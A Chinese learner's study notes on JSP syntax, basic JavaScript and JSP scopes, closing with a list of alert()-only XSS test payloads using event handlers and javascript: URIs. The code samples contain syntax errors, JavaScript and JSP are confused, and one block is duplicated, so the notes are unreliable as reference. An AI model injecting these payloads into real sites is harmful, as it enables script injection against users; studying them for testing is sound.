jsp 语法和简单的xss语句
servlet 和 tomcat
-
servlet 一种技术,也是一个在服务器端的程序,用于处理http请求
-
tomcat 是一个容器,为servlet 提供了一个环境,根据请求的url决定将请求交给哪一个servlet
+++
jsp的优势
jsp 相当于不需要编译和部署,而且代码比servlet少
+++
jsp的目录结构
jsp 文件放在和.inf同级的目录中
+++
基础
变量命名
var myAge = 10 <!--意思就是定义了变量myAge为10-->
类型
var myNumber = 10 //数值类型
var myStr = '文本'
var myName = "灵感" //string 字符串类型
var myBool = true //布尔类型
var myNull = null //用于清空变量内容 表示空
var myUn // undefined 容器的默认值
console.log() //用于输出到显示器上 类似printf
运算符
±*%
var sum =1+2-8*3+8%7 //加减乘除
console.log(sum)
var resultStr = '你好' + "JavaScript"
console.log(resultStr)
//输出结果
//你好JavaScript //字符串的拼接
isTure
var isTrue = 1>2
console.log(isTrue)
// 输出 false //判断真假
===
console.log(2 === 2)
//直接比较大小
语句(和c类似)
if…else语句
(和c语言相同)
if (false){
console.log(1)
}else if(false){
}console.log(2)
}else if(false){
}console.log(3)
}else if(true){
}console.log(4)
}
//输出 4
for循环(同上)
函数 (和c类似)
function getSum(start,end){
var sum = 0
for(var i=start;i<=end;i++){
sum+=i
}
return sum
}
var sum = getSum(1,100) //调用函数
console.log(sum)
数组(和c类似)
var myArr ={1,2,3,4}
知道数组的长度
var myArr ={1,2,3,4}
console.log(myArr,length)
//输出结果
4
访问其中的某个元素
var myArr = {1,2,3}
console.log(myArr[0])
//输出结果
1
给数组加 ,减一个值 push(从后往前) unshift(从前往后)
var myArr ={1,2,3,4}
myArr.push(200)
console.log(myArr)
//输出结果
{1,2,3,4,200}
全部输出 foreach
var myArr ={1,2,3,4}
myArr.foreach(function{item,index}{
console.log(item,index)
})
//输出结果
1 0
2 1
3 2
4 3
对象(和c的结构体类似)
var obj = {
name:"牛逼"
age:18
}
console.log(obj)
console.log(obj.name) 或者 console.log(obj['name'])
+++
jsp的使用
在 HTML 中,JavaScript 代码必须位于 标签之间。、
jsp输出
JavaScript 能够以不同方式“显示”数据:
innerHTML
//innerHTML 写入 HTML 元素
//使用
document.getElementById(id)
docuoment.write
// document.write() 写入 HTML 输出 ;删除已有的html产生你要的id
//使用
document.getElementById(id)
windows.alert
//window.alert() 写入警告框
console.log()
//可使用console.log()方法显示数据,需要f12看控制台才可以显示
更改名称
function myFunction() {
document.getElementById("demo").innerHTML = "段落被更改。";
}
//这里指向domo文件,并且更改了其中的内容为"段落被更改"
引用文件
<script src="myScript1.js"></script>
script src="https://www.w3school.com.cn/js/myScript1.js"></script>
四种基本语法
-
<%- -%> //注释
注释: 仅仅在开发过程起到提示的作用,在客户端无法看见。它区别于html代码的注释,html代码注释可以在客户端看见
-
<%! %> //声明
注释:这个一般放在jsp页面的最上面,用于声明一个类级别的变量或方法,定义一些全局变量和方法。
-
<%= %> //输出
注释:这里相当于c语言中的printf,将java代码中的结果镶嵌到html语句中,计算java语句之后再返回到浏览器中
-
<% %> //脚本
注释:它常用于处理一些逻辑,例如条件判断、循环等,或者在页面上定义一些变量。最后将值插入到html语句中 然后输出。
<%
int a = 5;
int b = 10;
int sum = a + b;
%>
例如在这里是计算a和b的总和, 最后将值插入到html语句中 然后输出
+++
四大作用域
ps:作用域是例如所有用户都可以看见 只有单个用户可以看见 这叫作用域
-
application: 数据在整个web应用中都可以看见,无论哪个用户都可以看见,它通常用于存储全局共享的信息,比如配置文件、全站通用的信息等。
-
**session:**但会话。数据只在单个应户中有效,用户访问时web服务器会为每个用户单个提供一个session,该会话会维持一段时间,
session
用于存储与单个用户会话相关的数据,如登录状态、用户的购物车等。 -
**request:**数据只在单个请求中有效,当客户端发出一段请求数据时服务器会创建一个request专门存储与请求相关的数据,他的声明周期会在请求结束时候销毁。
-
**page:**数据仅在当前页面有效,当客户端请求发出之后服务端返回页面等相关数据,且页面正在渲染时,page作用域可以临时存储相关页面渲染的数据,页面渲染结束之后page就会消失。
+++
常用标签
<%@ page %> <!--定义页面属性 内容类型,编码格式等,如java,txt文件等-->
<%@ include %> <!--用于引入另一个jsp文件内容-->
<%$ taglib %> <!--用于引入一个标签库-->
结合xss 攻击标签
拓展javasctipt:协议
javasctipt:是一个特殊的uri协议,允许在浏览器中直接执行jsp代码;通常javascript:协议用于通过点击链接触发jsp操作
- 标签
<!--a标签是HTML中用来创建超链接的元素,用户点击之后会跟根据href指定的url导航到另一个页面-->
<!-- 点击链接触发 - JavaScript 伪协议 -->
<a href="javascript:alert(1)")>XSS1</a>
<!-- autofocus - 当页面加载时 a 标签自动获得焦点,自动触发 onfoucus 事件-->
<a href="" onfocus="alert(1)" autofocus>XSS3</a>
<!-- 事件监听,当鼠标划过元素时触发 -->
<a href="" onmouseover="alert(1)">XSS5</a>
<!-- 事件监听,当鼠标划出元素时触发 -->
<a href="" onmouseout="alert(1)">XSS6</a>
- 标签
<!-- 事件监听:焦点事件,页面加载完成后,button 标签自动获得焦点,触发 onfocus
事件 -->
<button onfocus=alert(1) autofocus>XSS1</button>
<!-- 下面均为事件监听,不多解释了 -->
<button onclick=alert(1)>XSS2</button>
<button onmouseover=alert(1)>XSS3</button>
<button onmouseout=alert(1)>XSS4</button>
<button onmouseup=alert(1)>XSS5</button>
<button onmousedown=alert(1)>XSS6</button>
- 标签
<!--设置打开使用图片 但是让图片=1 所以会加载失败 则触发xss,页面会显示一个警告框 显示1 -->
<img src=1 onerror=alert("xss");>
- 标签
<! --这里代码执行时会别嵌入到页面中,当浏览器解析代码时会立即执行alert从而显示出xss,本质上就是为了将恶意代码注入到网页中然后方便下一次用户使用时候执行攻击 -->
<script>alert("xss");</script>
- 标签
<!-- 当用户与输入框之类的产生交互而获得焦点时 就会触发然后警示框显示xss -->
<input onfocus="alert"('xss')>
使用 open 属性触发 ontoggle 事件,无需用户去触发
<details open ontoggle="alert('xss');">
- ''标签
<!-- onfocus事件会在元素获得焦点时触发,对于select元素,通常当用户点击下拉框时,事件就会被触发-->
<select onfocus=alert(1) autofocus>
- ‘
<!--页面加载渲染这段代码时,svg元素会被解析并触发onload事件,弹出警示框显示'xss'-->
<!--svg是一种XML格式的图形格式,包含形状,文本,渐变等-->
<svg onload=alert("xss");>
- ''标签
<!--iframe元素是在当前页面中其嵌入另一个页面,加载其他的网页或资源,但是本例子中没有src元素 所以是孔德 直接触发onload事件也就是弹出xss的警告-->
<iframe onload=alert("xss");>
</iframe>
- ''标签
<!--video元素用于在页面中其纳入视频,但是本例子中没有指定src属性,所以直接触发oberror事件,也就是在视频等加载失败后触发alert-->
<video><source onerror="alert(1)">
- ''标签
<!-- body元素是html文档的主体部分,包含了页面的所有可视内容,如文本,图片,表格等;onload 事件会在页面等特定元素完全加载之后触发,所以之后就会弹出xss-->
<body onload=alert("xss");>
- ‘标签’
<!-- 浏览器加载iframe元素时候执行jsp:协议直接触发alert事件-->
<iframe src="javaseript:alert('xss');">xss</a>
- ''标签
<img src=javascript:alert('xss');>
- ''标签
<!-- form元素在HTML中用于创建表格,允许用户输入数据并提交到服务器,表单的action属性指定了表单提交的目标url,但由于后面有一个jsp;协议,所以表单不会提交数据,而是执行alert事件;之后的input就是用户点击提交按钮之后表单才会被提交-->
<form action="javascript:alert(1)"><input type=submit>
xss");>
* '<iframe>标签'
```jsp
<!-- 浏览器加载iframe元素时候执行jsp:协议直接触发alert事件-->
<iframe src="javaseript:alert('xss');">xss</a>
- ''标签
<img src=javascript:alert('xss');>
- ''标签
<!-- form元素在HTML中用于创建表格,允许用户输入数据并提交到服务器,表单的action属性指定了表单提交的目标url,但由于后面有一个jsp;协议,所以表单不会提交数据,而是执行alert事件;之后的input就是用户点击提交按钮之后表单才会被提交-->
<form action="javascript:alert(1)"><input type=submit>